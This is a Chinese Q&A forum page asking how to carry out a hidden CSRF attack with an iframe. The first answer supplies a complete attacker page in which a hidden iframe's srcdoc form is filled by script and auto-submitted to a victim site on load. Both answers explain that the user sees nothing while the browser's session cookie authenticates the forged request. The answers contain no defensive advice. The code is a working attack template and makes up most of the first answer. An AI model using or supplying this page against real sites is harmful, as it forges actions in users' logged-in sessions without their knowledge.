如何使用iframe实现隐藏的CSRF

发布网友 发布时间:2022-04-25 21:50

我来回答

2个回答

热心网友 时间:2022-05-03 03:44

攻击者在“页面1”中http://www.b.com/indexb.html中写下如下代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Welcome to CSRF</title>

</head>

<p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p>

<body>
<!--hidden属性使内联框架iframe隐藏,这样的CSRF隐蔽-->
<iframe hidden width=1000 heigth=100 src="#" srcdoc='

<form action="http://www.a.com/indexa.html" id="register" method="get" name="form">
<input type=text name="username" value="" />
<input type=password name="password" value="" />
</form>

<script>
var f = document.getElementById("register");
console.log(f.username.value);
f.username.value="test";
f.password.value="passwd";
//进行自动提交
document.form.submit();
</script>

'></iframe>

</body>

</html>

2、当访问”页面1“时,这段代码向http://www.a.com/indexa.html发送了一个GET请求(当然POST也可以),而且是当用户访问的时候自动提交的。由于内嵌在iframe中且iframe设置了hidden属性,所以你看不到浏览器界面有什么变化(url没有变化,也看不到iframe)。假如用户在访问”页面1“之前已经访问过了网站”http://www.a.com/indexa.html“同域下的其他认证页面,这时,只要浏览器没有关闭或者重启的化(关闭认证的tab页没有影响),则临时cookie(一般认证通过设置cookie的方式实现)即session
cookie会存在于内存中;在内存中的session
cookie未消失之前,访问同域下的其他页面,浏览器就会在这些页面的header中带上cookie值。通过上面这样的方式便实现了授权的CSRF。

热心网友 时间:2022-05-03 05:02

由于内嵌在iframe中且iframe设置了hidden属性,所以你看不到浏览器界面有什么变化(url没有变化,也看不到iframe)。临时cookie存在于内存中,浏览器关闭或者重启,释放内存,才会清空临时cookie;本地cookie存在于硬盘上,只要到期后才会消失。

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com